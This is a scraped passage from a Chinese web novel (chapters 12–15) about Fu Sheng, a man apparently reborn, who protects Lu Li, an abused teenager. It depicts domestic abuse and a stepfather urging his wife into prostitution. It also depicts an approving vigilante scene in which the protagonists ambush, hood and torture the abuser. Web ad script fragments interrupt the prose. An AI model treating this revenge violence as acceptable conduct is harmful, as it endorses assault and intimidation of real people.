第二天,放学前的一个小时,北川的天倏然阴沉下去。 他皱着眉坐在教室里向外看,果不其然,半小时后大雨倾盆而至。 老师站在讲台上敲了敲黑板:“因为特殊天气情况,学校决定提前半小时放学。” 学生们瞬间炸了锅一样,乱成了一锅汤。“放学哦!” “安静点,”女老师扯着嗓子喊,“一个个出去,别踩到其他学生。” 羊圈里羊撒了欢,谁还听话,瞬间教室里就没了人,女老师叹了一口气,咳了一下发干的嗓子。 想关门的时候,她倏然发现还有一个人在教室里,女老师走过去:“陆离?你怎么还没走。” 陆离起身收拾书包。 女老师看着他没有带伞,询问道:“你父母来接你吗?” 陆离垂着眸子没说话,捏着手,转身向外走。 “等等,”女老师意识到什么皱了一下眉,“要不把我的伞给你?” 陆离回头看了一眼,见她也只带了一把伞,说了声谢谢,便斜挎着书包出了门。 雨下得很大。 陆离在学校的房檐下躲雨,其他父母穿着雨衣陆陆续续地把和他一起躲雨的学生接走。 很快,天色越来越暗,门口路灯照着地面的水洼,水洼里孤零零地映着陆离一个人的影子。 保安过来说:“同学,怎么还在这里?我关门了哈。” 陆离没吭声,很快学校的灯也暗了下去,他将校服脱下来,准备跑着回去。 就在这时,他在水洼里的身影像是被投进了一颗小石子一般晃了一下。 有人走过来,停在他面前,在风中给他挡了一下倾扫过来的雨。 陆离抬头,灯光有些晃眼,他睫毛颤了几下。 傅生撑着一把黑伞站在雨里,朝他伸手。 身后是阴沉的天穹,他眼神沉静,在这样的环境里竟然显得出几分特别的柔和。 几个小时未停的雨,这一刻好像小了。 陆离看着人,觉得自己的胸口也像被小石头撞了一下。 12. 第 12 章 陆离低头看着那双骨结分明的手,听着自己胸口心脏不同于往日的心跳声,抬手抓住了那双手。 傅生带着人,没有带人回古董店,将人带回了松里。 陆离一路上都没有说话,只是看着傅生被淋湿的那半边袖子,抿紧了唇。 两个人上了楼,陆离站在自己家的门口,指了指傅生的一侧袖子,傅生看了一眼,不太在意地说:“没事。” 说完,可能是为了逗陆离开心,又添了一句。 “别担心,你不用你赔。” 陆离的唇抿得更深了,他眨眼咬紧了唇,憋了好半晌才憋出来一句谢谢。 转身进门的时候,陆离顿了一下,又看向傅生说:“你今天还要回古董店?” 傅生挑了挑眉,陆离向来闷,还是头一次主动开口问他的事情,他向外看了一眼,此时的天色阴沉得可怕,似乎要把天穹压下来,“不回了,今天就在这里住下了。” 陆离的眼睛眨了一下:“嗯。” 傅生笑了,“嗯什么,你想和我一起?” “没有,”陆离见傅生又开始恢复了之前没正行的样子,拉下脸转身“砰”的一声将门关了过去。 傅生站在门前,被门震得眼皮一跳。 “没良心。”他看着门笑着说了一声。 自己好不容易心软一次,将人接回来,竟然受到的是这种待遇。 将手上的雨伞收起来,傅生转身去了楼上。 陆离倚着门,直到楼道里没有任何动静,他才支着身子在门上起来,神态与方才有微妙的变化。 不知道是不是今天雨气太大,他身上现在还环绕着一股淡淡的香气 ——是傅生身上的味道。 半晌,陆离找到了那股子香气的来源,他抬手,在自己手指上轻嗅了一下。 这是,傅生牵他的手的时候沾上的,带着一种蛊惑人心的味道。 只是香气转瞬即逝, 陆离眸中涌动。 为什么不多给他一点。 …… 傅生回到房间里,这个房间自从搬进来,他还没有住过。 蒋文其实问过他,为什么要费劲在松里这个地方租个房子。 这个问题问出来的时候,傅生自己都愣了一下。 是啊,为什么费劲租这么个房子。 房子老旧得厉害,墙上因为时间久远,已经成了暗黄色,地板上踩上去会发出咯吱的声音。 上辈子养尊处优地活了几年,傅生也有点惊讶自己会给自己找苦吃,找了个这么个地方。 算了,傅生摇了摇头,反正也住不了多长的时间。想不通就干脆不想。 第二天古董店。 蒋文去蹲人回来的时候,看见傅生还在家里坐着,跷着二郎腿喝茶,有点惊奇:“你怎么还不走?” “我干什么去?”傅生也有点惊奇。 蒋文说:“接人啊,陆离不是要快到放学的时候了。” 傅生一挑眉:“我为什么要接他放学?” 蒋文心说,我怎么知道你为什么接他放学, 但他面上说:“您说得对。” 傅生:“……” 他在沙发上坐了一会,看着蒋文在这里扫过来扫过去的倏然有些心烦,连手里的茶都不香了。 蒋文看着天,状做担心地轻啧了几句:“今天的天气好像也不太好,也不知道会不会突然下雨。” 傅生垂着眼睛。 蒋文又继续说:“我听说巷子里的那段路似乎不太平,姜龙那群人这几天一直在那一块转。” 沙发上坐着的人倏然起身,蒋文贱兮兮地问:“干什么去?” 傅生瞥他一眼:“这是老板该问的问题。” 说着就出了门。 蒋文笑了一下,直到完全看不见人了,他放下扫帚,一下子躺在傅生刚才的位置上,跷着腿,喝着茶。 半晌,他舒服地感叹:“还是老板爽啊。” * 陆离在教室里出来,学校门口人超级多。 今天没有下雨,按照往常的习惯,他应该穿过人群,转身就走。 陆离却站在门口没动,眼神在人群中寻找什么。 人群中都是穿着校服的学生,没有那个高挑的身影。 陆离眼中的期待逐渐暗了下去。 心里自嘲道,他又没说每天都来接你。 就来接你两次,就养成习惯了吗陆离。 陆离抿了一下唇,背着书包转身就走,刚迈出去一步,有人拍了他一下。 陆离眼睛一亮,快速回头,站在他面前的却是一个不认识的男生。 他眼中的期待又暗了下去。 男生长得秀气,手中拿着东西看上去很紧张,红着脸问:“同学,可以收下我的情书吗?” 陆离原本想要转身就走的,眼睛瞥见不远处几个男生正嬉皮笑脸地看着他们这边,语气嘲笑:“你们快看,那个娘娘腔竟然给陆离表白,他不怕挨揍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 男生也听到了周围人的言论,显得更紧张了,他手指掐在情书上,脸上红晕散去,成了惨白色。 他将手上的情书向后收了回去:“对不起,我——” 话还没有说完,手中的情书就被一只修长的手抽了出去。 男生猛然抬头,眼睛水汪汪的。 陆离也不说话,将情书放进书包里,转身就走。 不仅男生愣住了,连周围起哄的人也愣了一下。 “我靠,陆离收了那个娘娘腔的情书。他不会真喜欢这样的吧。” 陆离眼睛锐利地扫过他们。 “嘘,别说了,快走吧。咱们打不过他。”一个男生说完,就招呼着人群散去。 秀气男生捏着手指,看着陆离的背影,小声地说了句谢谢。 “不是说不喜欢男人?”陆离走道一边的时候,身后倏然传来一道打趣的声音。 他愣了一下,身后的人悠悠道:“我刚才好像看到了某个小鬼收了别人的情书。” 这般语气不用回头就知道是谁。 陆离耳垂有些红,“关你屁事。”说着,他快速地走了几步。 “行,不管我的事,”傅生也不生气,看着前边气鼓鼓的人,“但是能不能看在我年龄大的还来接你的份上,走慢点。” “不行。”陆离冷冰冰地开口。 话虽然这么说,他的脚步还是慢了下来。 傅生扯了扯嘴角。 无论是刚才的对那位送情书的男生,还是刚才为了等他故意放停的脚步,都无一不证明陆离只是看着冷冰冰的,其实心软得很。 但是他想着想着,嘴角又平了下来。 小时候的陆离是嘴硬心软,但他——铁石心肠。 可能是久久没有听到傅生的动静,陆离回头看了一眼。 “你——怎么不走了?” 傅生将情绪掩了下去,弯着眼睛说:“为了来接你,来回走了太久了,走不动了。” 陆离目光在他身上停了几秒,像是在思考什么,半晌又走了回来。 他站在傅生身边,俯下身子,少年清瘦的肩胛骨暴露在眼前。 “干什么?”傅生带着点笑问。 “上来,” 陆离说,“我背你。” 傅生:“?” 开什么玩笑? 这才一天没见,这小鬼吃错药了? “我背你。” 陆离垂着眸子,又重复了一遍。 13. 第 13 章 傅生下意识地朝着陆离伸手,很自然地在他额头上试了一下。 这也不热啊。 “今天怎么这么有良心?”傅生手戳了一下他的脸笑着问。 “你不是累了,”陆离躲开,又很认真地说了一遍。 傅生目光从上到下地打量了一遍,哭笑不得:“你这个小身板,背得动吗?” 陆离乌黑的眼睛看着他:“背的动。” 背的动我也不能让一个小孩背啊,傅生在他背上拍了一下说:“行了,我逗你玩呢,再不回去你蒋文叔叔摸鱼摸到天上去了。” 对于傅生不让他背,陆离有些失望:“摸鱼?” 傅生这才想起来,这个年代还没有摸鱼这个词。 他没再继续这个话题,手在陆离肩膀上拍了几下:“走了。” 阴沉的好久的天,这会儿放了晴,夕阳拉长了两个人的影子,陆离低头,看着影子,竟然希望这一刻希望无限延长下去。 刚进古董店,蒋文就噌的一声在沙发上坐了起来,快速地拿起扫帚。 “你们回来得挺快啊,”蒋文说。 傅生迈进房门,笑了一下:“是不是还没睡醒?” 蒋文刚想说是,但是抬头看着傅生笑的眼睛,一下子反应过来这是个坑:“没有睡,我这么敬业的人怎么可能睡觉?” 傅生嗤笑了一声,但是也没有计较,蒋文见此高兴了,看着陆离说:“来小孩哥,你的位置我给你让出来了,过来坐吧。” 陆离看着两个人的对话,也知道傅生不在的时候蒋文肯定是偷懒了,所以傅生说的摸鱼就是偷懒的意思? 好可爱的描述。 陆离唇角弯起来细小的弧度。 蒋文站在一旁,却像是看到什么稀奇事一般:“我靠我靠,傅生你看到了吗,这个小冰块刚才笑了。” 陆离:“……” 一个月的时间,就这样转瞬即逝,傅生每天放学去接人,陆离脸上的伤也越来越淡。 赵国强没在家,放学的途中也没有人找他打架,这是陆离从搬来这边过得最好的一个月。 “这是你的工资。”傅生将一沓钱交到了蒋文手上,蒋文眼睛里都要放光了,“那我就不客气了,傅大老板。” 他将钱拿在手里,快速地数了一遍,整整三十张。 蒋文抱着钱重重地亲了一口。 傅生弯了弯眼睛,向桌子前边走了几步,陆离正在写作业,听到动静抬头看了一眼。 “还没写完。”傅生问。 陆离快速地一把将自己的字用胳膊遮挡上。 傅生笑了:“你盖上我就看不到你狗爬的字了?” 陆离:“……” 眼看着他的脸又瘫下去要咬人,傅生不逗人说:“行了,别苦着脸了,这个给你。” 陆离低头,看着傅生修长的手指上握着一沓红彤彤的钞票,眼睛微微睁大:“给我?” “嗯,”傅生说,“打碎玻璃的钱已经从里面扣了,剩下的是你这个月的工资。” 陆离看了一眼,那一搭不少,差不多有十几张。 看着他不动,傅生在一旁催促道:“不拿我可都给蒋文了。” 蒋文一听,眼睛一亮:“那拿来吧。” 陆离护食一样将钱揣进兜里:“我的。” “行行行,你的,”蒋文说,“瞧你小气的那样。”说完,他就抱着自己的钱去一边嘚瑟了。 只是傅生却发现,陆离攥着钱,长长的睫毛却垂了下去,并没有多高兴。 “钱都到手了,还苦着脸,”傅生在他旁边坐下,“这是嫌我给少了?” 陆离抿着唇,好大一会才开口:“是不是,明天我就不用来了?” 感情是在担心这事,傅生说:“你要是不想来的话——” 陆离没有等他说完就开口:“想。”末了可能是觉得自己说话太简短了,又说了一遍:“我想来。” “那就来,”傅生说,“那明天我在这里等你。” 陆离眸子中阴霾消散了一点,握着笔在本子上飒飒地写,动作都轻快不少。 傅生在一旁瞥了一眼,就快速地移开眼睛。嗯,那字也更难看了。 “这都十点了,陆离怎么还没到?”蒋文坐在院子里,看着这个大太阳说,“不会是以后不来了吧?” 傅生也皱眉,陆离虽然上学吊儿郎当的,但是很少迟到。 他开始回忆这段时间,好像也没有出什么大事。 “等等。”他说。 两个人从中午等到下午,傅生皱着的眉更深了,终于,他在沙发上快速地起身,连衣服上的褶皱都没来得及平整,就迈着长腿向外走。 “干什么去?”蒋文在身后问。 傅生:“去松里。” 蒋文也快速地起身:“我也去。” 两个人走进弄堂就引到不少人围观,傅生最讨厌嘈杂人多的地方,若是平日里一定换一条路,但他今天根本没时间注意这些。 走到陆离的门口,敲了敲门,果然没人,傅生的眉心皱得越来越深,可能是敲门声太重,隔壁住着的钱姨露出头来。 “小傅?” 傅生回头:“钱姨,知道这家人去哪了吗?” 钱姨见是自己的租户,这才放心地出了门:“小傅啊,你也是要账的?” “不是,”傅生说,“我找陆离。” “陆离?”钱姨脸上唏嘘一声,压低声音说,“别提了,昨天他那个赌鬼爹回来了,那稀里哗啦的声音,这小陆啊,我估计又挨打打得不轻。” 傅生听着,眸子瞬间沉下来了:“钱姨,那你知道他现在去哪了吗?” “现在,”钱姨想了想,“我早上的时候,好像去楼上了,在你门口停留了一会。” 傅生道了声谢,转身朝着楼上走,之前他将楼上的钥匙给了陆离,陆离说不定就在那。 蒋文也跟在后面快速地上去。 钱姨还挺喜欢傅生的,毕竟长得好看,又有礼貌,她在后面喊:“听姨一句劝,别和这家人太多交集。” 傅生现在听不进去任何话,蒋文回头对着钱姨说:“谢谢姨。知道啦,你去忙吧。” 楼上上了锁,傅生眼神暗了一下,面无表情地开着锁。 蒋文心惊胆战地在旁边看着。 其实傅生这会情绪很稳定,也没急,也没躁,只是脸上没挂着笑而已。但是蒋文莫名地感觉到傅生阴郁的可怕。 一直到门打开,傅生走进房间里,里面很干净,自己上次走的时候什么样现在就是什么样。 蒋文看了一圈说:“没人,看来不在。” 他刚想说,要不再去别的地方找找。就见傅生径直地朝着桌子前走过去。 上面放着个东西,用牛皮纸包着。 蒋文也凑过去,疑惑道:“这是什么?” 傅生睫毛低垂,手指缓慢地打开那个牛黄纸,双蛇玉坠在里面滑落出来。 蒋文震惊道:“这个是——他知道——” 傅生睫毛颤了颤,陆离一开始就知道,接近他是另有目的的。 可即便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如此,他还是把玉坠给他了。 他胸口倏然像是被什么扎了一下。 “哎,陆离除了闷了点,其实还挺好好的,”蒋文对于坑骗一个小孩这事突然有点过意不去。 傅生没说话,半晌抓着玉坠转身就出了门:“我出去一趟。” “去哪啊?”蒋文看着傅生的背影说,“真不用我跟着?” 那道身影只是恍了几下就不见了,连点回音都没有,蒋文长叹了一口气:“哎,这一天的都是些什么事。” * 傅生大概知道陆离会去哪里。 松里这边虽然残破,但是也有一点好的地方,穿过那个长长的陡坡,会看到一望无际的大海。 他抿着唇,记得以前,每次心情烦闷的时候,他就会坐在海岸的那块巨大的海礁上。 那是他少时,唯一属于他一个人的地方。 走到海边,闲湿的海风吹面而来,果不其然,水天相接处,一个孤独的身影正坐在那里。海风鼓动着他的衣服,一段段的海水拍打着他的脚踝,陆离却像是感觉不到任何温度,只是一动不动地看着前方。 傅生也不知道自己是怎么了,心口处那种棉麻的痛意又升了起来。 他缓慢地走了过去。 从他的视角刚好看到陆离唇角的淤血,还有大大小小数不尽的青紫,甚至完好的皮肤都看不到一点。 傅生看着伤口,从心底倏然升起浓重的戾气。 这一个月,陆离身上的伤刚刚养好,如今又变成了这样。 “是他打的?”傅生黑着眸子问。 陆离对于傅生的到来没有一点惊讶:“你要的东西不是都拿到了,还来找我做什么。” 傅生缓慢地俯下身子,看着他脸上的伤口:“疼吗?” 怎么可能不疼。 傅生也知道自己问了一句废话,但他不知道要对自己说什么。 “傅生,”陆离平静地开口,这是他第一次喊这个人的名字,“我妈妈——不要我了。” 他打了赵国强,苏梅不要他了,他只是打了赵国强,他妈妈就不要他了。 明明是平静的一句话,没有任何的情绪起伏,傅生却像是回到了十年前少年的自己,难过地让人胸口发酸。 他看着人,像是给陆离听的,又像是给自己听的,他说:“不要就不要。” 陆离眼眸低垂,看着自己的手上的伤:“没有人要我了。我没家了。” 明明陆离的声音和平时一样,很冷也很平静,但傅生却在里面听出了一丝委屈。 他的出生就是错的,从生下来开始,就像是被随意丢弃的垃圾,辗转在各个亲戚手中,但是他性格又不讨喜,最后只能丢回了苏梅手里。 他的亲生母亲也不喜欢他,陆离怕唯一的亲人再把他丢了,才六岁的他只能紧紧地拽着苏梅的衣服,寸步不离地跟着,个字不高,抓不到衣角,就只能抓着苏梅膝盖的裙边。 但现在,苏梅也不要他了。 傅生紧紧地捏着手中的玉坠,十几年的伪装在这一刻溃不成军。 无论是冷血还是残忍,最终败都给了自己。 好半晌,他抬手,将手中的玉坠又带回了陆离脖子上,低声缓慢地说:“以后愿不愿意跟着我,我给你一个家。” 傅生在这一刻才知道那细密的痛意就是心疼的滋味。 其实在巷子里看到陆离的第一眼,他就已经做不到像对旁人那样冷眼旁观了。 没有人要他,他要。 他会把这些年亏欠的,都还给自己。 14. 第 14 章 陆离猛然回头。 好半晌,他才从那种不可置信中回过神来,又倔强地撇开头,不去看傅生的眼睛,冷漠地说:“除了这个,我身上已经没有其他你想要的东西了。” “有,”傅生说,“还有你。” 陆离站起来,那双眸子看向傅生,似乎倔强地想要寻求一个答案:“为什么要对我这么好。” 从他们第一次见面开始,傅生就总是出现在他身边。 直到知道傅生是为了他脖子上的那个玉吊坠的时候,他竟然没有生气,反而下意识地觉得,还好他身上有供傅生可图的地方。 活着这么大,头一次有人对他这么好,就算知道是别有所图的,他依然贪恋这点好。 傅生的目光从陆离身上,一直移到海边,低声说了句,“这是我欠你的。” 海风太大,陆离没有听清楚:“什么?” 傍晚将近,天空成了一种缜密的蓝色,和远处的海岸线混在一起,不分你我,只有几只海鸥张着翅膀,在海浪的拍打中迎难而上。 傅生又恢复了平日里的神态,弯着眼睛说:“因为你讨人喜欢。” 陆离睁大眼睛,“你——”可能被震惊到了,他本来就站在礁石的边角处,一下子没注意滑了下去。 “扑通”一声。 傅生:“……” 他就是开个玩笑,怎么还跳海了。 回去的时候,古董店里,蒋文看着两个人都湿着衣服,震惊道:“你们这是干什么去了?” “洗了个澡。”傅生没好气地说。 陆离不会游泳,最后还是他又跳下去将人救上来的。 蒋文啊了一声:“你们这消遣方式挺特别啊。” 陆离只是低着头不说话,他站在旁边,地上滴了一小片水洼。傅生随意地将身上擦了擦,看着陆离不动:“怎么,傻了?” “没有。”陆离声音有些哑。 “没有?”傅生笑了,“身上湿衣服不知道到换?别装木头人了,跟我上来。” 说着,转身朝着楼上走。 陆离捏着手指,也跟着人上了楼。 傅生的卧室里,和他这个人一样,讲究得要命,衣架上的衣服都看不到一点折痕。 他的手指在那些衣服上轻轻地扫过,最后停留在一个清闲的卫衣上,他细长的手指勾了一下,将衣服钩下来,看着陆离说:“这个行吗?” 陆离点了点头,接过去之后,发现傅生并没有走,反而走到了厨子的另一侧:“外面的服装店关门了,贴身衣服你凑合一下先穿我的。” 陆离:“……” 傅生:“都是新的,还没有穿过,黑色的这个行吧。” 回头的时候,却发现陆离趴在床上,他愣了一下,心说这小孩脸皮怎么这么薄,不就是内裤吗。 “喂小鬼,害羞了?” 陆离不动。 傅生笑了一下:“行了,你一会自己来挑,我先出去总行了吧。” 陆离还是不动。 傅生皱眉,这才意识到不对劲,他走过去,一碰陆离的手,温度高得吓人。再碰了碰额头,傅生一气,得,烧晕过去了。 “帮我叫个医生过来。”傅生站在二楼,对着楼下的蒋文喊。 蒋文:“我靠,禽兽啊,你对人干什么了?” 傅生朝他递过去一个眼刀,“工资不想要了是吧。抓紧打。” 不仅是蒋文,就连医生来了看到陆离身上的那身伤时,身上的眼神都变了。 “他这是伤口感染引起的发烧。”医生说一句朝着傅生瞥一眼。 甚至打上针,要走的时候,他都悄悄地将蒋文拽到一边:“需要我帮你们报警吗?” “别。”蒋文憋着笑,但是面上做出一副受迫害的样子,“医生,你快走吧,别管我们,小心一会他连你都打。” 医生脸色瞬间变了,他提着他的药箱,跑下楼去的时候,甚至连头都没有敢回。 傅生背了一口大锅。 蒋文:“哈哈哈哈哈哈哈哈” “笑够了吗?”傅生瞥他一眼,“笑够了跟我出去办点事。” “啥事?”蒋文好奇。 傅生没说话,房间内的灯光不是很亮,陆离躺在床上,脸上的伤却变得刺眼起来。 “找事。”傅生说。 没道理,伤了他,还能好好地。 * 陆离这一觉睡得很不舒坦。 他似乎又被带回了昨天下午。 刚一打开门,他就看到赵国强将苏梅按在地上。 他这次没有动手,却比动手更加恶心。 “梅梅啊,我们结婚多久了?”赵国强问。 苏梅神情恍惚:“快十年了。” “十年了,已经这么久了,”他脸上露出哀伤的神色,“这些年,你们娘俩跟着我也没有过上好日子,我赌了十年,输了十年,是我的错。” 苏梅对于赵国强的反应愣了一下,这十年他都在期待着这个男人可以对他好,只是赵国强却总是打破她的幻想。 现在,她期待过的好日子,这一天终于来了吗? 她起身,颤抖的手尝试着去碰赵国强的手:“没关系没关系,只要以后好好地过日子就行了。” 赵国强却说:“晚了,苏梅,我欠了很多钱。” “不怕,咱们一起想办法,”苏梅说,“我出去打工,我们慢慢还。” “打工,你知道打多少工才能还上我欠的钱吗?”赵国强脸上装出来的委屈瞬间破裂,露出狰狞强势的脸,“等他妈的你挣上钱,老子就被他们搞死了。” 苏梅看着他狰狞的面孔,条件反射地缩了缩:“那要怎么办。” “苏梅,苏梅,”赵国强脸上的表情又变了,讨好一般地笑:“你再帮帮我,你再帮我一次,只要这次的钱能还上,我就和你好好地过日子。” 苏梅似乎意识到什么,好半晌才声音沙哑地开口:“你要我做什么?” “你去卖吧苏梅,”赵国强说,“隔壁街很多做这个的,100块钱一次,你又长得好看,最起码150一次吧。一晚上你接三个客人——” 他话都没有说完,头就被一个玻璃瓶砸下来,血哗啦啦地向下流。 接着,就传来了苏梅的尖叫声。 陆离咬着牙,一手拿着碎掉的玻璃瓶还要继续打,苏梅啊的一声,起身发疯一样地抱住他 “你疯了!你敢打他,你凭什么打他。你这个灾星畜生,从你生下来我就没有好过过一次。” 陆离的胳膊被苏梅死死地抱住,他听见自己声音平静:“都这样了,你还是要护着他?” 赵国强抹着头上的血,又抬头看了看陆离。 “敢打我,我今天就弄死你,草拟妈的。” * 赵国强额头上包着厚厚的纱布,就算是这样,嘴里还是不老实,骂骂咧咧在一家超市里出来。 “老子又不是没钱,踏马的臭娘们赊账都给佘,等过几天老子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有钱了,老子用钱砸死你。” 只是嘴里的话还没有骂完,哗的一声,一盆水在店里泼出来,差点泼了赵国强一身。 店员显然也不是好惹的,“你个老泼皮,你他爹的骂谁呢,没钱就缩着点头走,装什么大爷。” “好你个臭娘们,”赵国强还想再骂,店员又端了一桶不知道在哪里端来的水,吓得他灰溜溜地只能溜着墙角走了。 离开好大一段路,他嘴里还嘟嘟囔囔地,只是不知道是不是最近出师不利,走到拐角的时候,被一个人撞了一下。 赵国强:“走路没长眼啊。” 现在是晚上,巷子里太黑,只能听到是个年轻人的声音:“啊,对不起对不起。着急赶路。” “赶着给你爹哭坟啊”赵国强哼了一声,骂了句傻逼玩意,刚想继续走,戴眼镜的年轻人嘿嘿笑了一声,在身后掏出一根棍子:“现在,是给你哭坟了。” 一闷棍子下去,赵国强砰的一声倒在地上。 蒋文拿着棍子,用脚在他身上踢了踢:“呸,人渣。” 说完,他对着胡同一喊:“傅大老板,人怎么办?” 傅生站在巷子里,天黑看不见他的神色,蒋文只听人说:“左拐第四间废院子里。”说着,转身就走了。 蒋文看了看街道,又看了看地上的人,有点无语:“合着我还得把人搬过去。” 那一棍子打得不重,赵国强十几分钟就醒了。 他头上套着个麻袋,黑乎乎地看不见周围。 人在看不见周围东西的时候,会升起一种恐惧感,手脚如果再被绑上,恐惧感会加深,赵国强求饶道:“是哪位大哥,求求你放了我吧,我发誓我很快就会还你钱。” 他能想到的得罪的人,就只有平日里欠钱的债主。 蒋文拿着刀抵在他肥胖的脸上,赵国强吓得一下子跪在地上。 “钱?”傅生坐在一旁,交叠着双腿,“我不缺钱。” 他看着像狗一样趴在地上的人,才发现这个人和记忆中的样子差的有点远,虽然还是一样的恶心。 “求求你大哥,你饶了我,我真的不知道哪里得罪你了,”赵国强磕着头,“只要你饶了我,让我做什么都行,对了对了,我还有一个老婆,长得很好看,你要是不嫌弃我可以让她陪你。” 傅生眼睛没什么变化,只是盘着的腿放下来,踩到了赵国强手上,他却不敢叫出声。 傅生看着他模样笑了一下:“想活命也可以,我们做个交易怎么样。” “你说大哥,你说。”赵国强疼得声音都变了声。 傅生说:“你昨天怎么打得陆离,我现在就怎么还给你,你觉得怎么样?” 到这个时候,赵国强哪里不知道是因为谁来的:“是陆离那个小王八蛋——” 傅生的脚下用力,蒋文嘶的一声,听到了赵国强惨叫声。 “说不说?”傅生脸色平静。 赵国强疼得差点晕过去,疼得龇牙咧嘴:“大哥,我昨天真的没打他,你看我头上的伤,都是被他打的。” 蒋文在他头上重重地敲了一下:“你没打?没打他身上这么重的伤哪里来的?” “是他自己打的吧,”赵国强声音发颤。 “你当我们傻子?”蒋文说,“他疯了自己打自己?” 赵国强:“真的,我说的是真的,我昨天真的没打他。” 傅生愣了一下,须臾想到什么,唇角勾了勾。 看来傻小子也不傻。 15. 第 15 章 蒋文用纸巾嫌弃的将自己手上擦干净,“这个老东西说不是他打的,骗谁呢。” 傅生向前走着没说话,因为他觉得赵国强说得是真的,那伤可能真是陆离自己打的。 至于为什么。 傅生笑着叹了一口气,没人比他更了解自己。 即便是算计,他也不在意。 “不过,咱们将他放在这个破院子里行吗?”蒋文没看傅生神色,自顾自地说,“万一没有人发现怎么办。” “这个地方,每天早晨十点会有一位敬业的老大爷从门口经过向外送垃圾。”傅生说,“当然,前提是明天那个点赵国强可以准时醒过来。” 蒋文闻言,惊道:“你这是都已经安排好了?”说完他一顿,“不对啊,你这个大少爷怎么会对贫民区这边这么熟悉?” “别好奇了,”傅生说,“走吧,一会陆离该醒了。” 一提陆离,蒋文倏然凑近,他压低了声音悄迷迷地问:“你拉着陆离回来的时候,我看着那个玉坠子又戴回去了?咱不要了?那郑顺昌那里咋办?” “换个方式,”傅生说,“他是不是还有个情人?” 蒋文很快就明白了傅生想要做什么:“你是想——可是这样不是费很多劲。不是我就不明白了,那个小鬼明明都把玉坠给你了,你怎么能不要呢。” 傅生斜睨他一眼:“你今天话太多了。” “也不知道是我话太多,还是你对那个小鬼太好了,”蒋文嘀嘀咕咕,“不知道的还真以为他是你私生子呢。” 傅生心说,比私生子的关系还要更近一点。 回到古董店的时候,已经接近十一点了。 傅生上楼,看见陆离闭着眼睛,头上起了一层细密的汗。 “这是梦到什么了?” 他将陆离头上的汗擦干净,自从他重生之后,他早就发现了有些事情似乎脱离原来的轨迹。 比如蒋文和他认识应该在一年后。 再比如,陆离会遇上他。 房间被人占着,隔壁的房间又需要收拾,傅生懒得动,干脆在楼下的沙发上对付了一晚。 蒋文下楼的时候,差点吓了一跳:“你在这里睡得?” “不然呢,”傅生慵懒地抬头,“不然我去你屋?” 蒋文一想到那个画面,起了一身鸡皮疙瘩,他快速摆手,摇得跟拨浪鼓一样:“算了算了,我对于卖身求荣没兴趣。” 傅生笑了,将人从头到脚打量了一遍:“你今天又没睡醒?” 这话的意思蒋文听出来了,拐着弯地说人说胡话。 蒋文其实长得不错,斯斯文文的,不然也不会扮演假医生的时候,一说话就骗得几个阿姨大姐买药。 “是是,傅老板看不上我,”蒋文阴阳怪气说,“那不如看看你看得上小鬼醒了没有。” 他说完话,结果一抬头,就看见那个小鬼站在二楼的楼梯口,那双乌黑的眸子正幽幽地看着他。 蒋文:“……” 总感觉有点后背发凉,他觉得果然自己还是不适合在这里待着。 “你们两个这里吧,我还是出去溜达去了。”说完,蒋文转身就出了门。 傅生在沙发上坐起来,看着人:“怎么样,感觉好点了吗?” 陆离在二楼站着,从他的角度他看着一向讲究傅生西装外套在沙发上压出了褶皱,还有眼睑下也有了淡淡的黑眼圈,他的眼睛眨了眨,又开始捏着手掌不说话。 “这可不太妙,”傅生起身,声音打趣地说,“这是一晚上烧哑巴了?” 陆离抿着唇:“没有。” “没有?”傅生弯着眼睛带笑地看着他,“没有你一大早晨跟个怨灵一样看着我?” 陆离脸颊绷了好久,才开口:“我在这里,是不是很麻烦。” 麻烦到明明有房间,却只能在沙发上睡一晚。 傅生愣了一下,没有想到陆离在担心这个。不过也对,可能从小在别人家里长大的人,都会这样没有安全感。 他笑着开口:“就是因为这事?” “嗯。” “下来。”傅生说。 陆离乌黑黑的眼睛看着人,因为病气,上面蒙了层水光,干瞪了半晌,沉默中他听话走了过去。 傅生抬起手,很自然地贴着陆离额头试了一下,“病这不是好了,我还以为你和你蒋文叔叔一样,烧的开始说胡话。” 陆离:“……” 昨天的好脾气果然只是昙花一现,现在才是这个人的真正的样子。 被傅生那么一打趣,陆离的那点不自然逐渐消失下去。 “既然醒了,就下楼吧。你蒋文叔叔去买早餐了。”傅生踩着红木楼梯下楼。 陆离跟在身后,下了楼老老实实地坐在经常坐的桌子前,竟然显出了几分乖巧。 晨光落在房间的地板上,然后他就听见傅生在后边说:“以后这里就是你的家,在家里不用这么拘束。” 古董店外面有人偶尔有人经过,有一种不太闹人的喧嚣。 陆离愣了一下,然后垂着眸子,在桌子上虚写了一个名字——傅生。 蒋文提着早餐回来,房间内的氛围有种奇妙的安静。 他将买的豆浆和素馅的豆腐包子放在桌子上:“早餐回来了,你们干什么呢,这么安静。” “没干什么,”傅生将报纸放下,看了一下桌子上的早餐,“把豆浆和包子换了,再去买一份。” 蒋文:“?” 他拿起来,随便地闻了闻:“不是这也没坏啊,换了干什么?” “我不喜欢。”傅生言简意赅。 蒋文心说你这都吃了这么多天了,也没见你不喜欢,他怀疑这位大少爷的病又犯了,开始想着怎么折腾自己。 直到这位大少爷起身去了洗手间,旁边的陆离才低着声音说:“我对豆制品过敏。” “我就说嘛,”蒋文这才恍然大悟,“他都吃了这么多天了,怎么会突然不喜欢,原来是你过敏啊。那你们再等我一会,我一会儿就回来,还有什么忌口吗,一起给我说了,省得我下次还得再跑一趟。” 陆离摇了摇头。 他对于豆浆过敏这事其实根本没有人知道,就算是苏梅,也是从来不在意,所以每次家里有豆制品的时候,他都是不吃饿着肚子。 傅生家的洗手间门是透明的,傅生高挑而模糊的影子映在门上。陆离看着那道身影,皱了一下眉。 除了他自己没人会知道的事,傅生为什么会知道? 还是说这是巧合? 傅生在洗手间出来,刚好看到陆离没来得及撤回去的余光:“一会吃早餐,不去洗手,盯着我瞧什么小鬼?” “你——”陆离张了张嘴,刚想说话。 “早餐买回来了,”蒋文重新提着牛奶和三明治进屋,累得气喘吁吁地道,“这次应该不出错了吧,我年纪轻轻的, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { 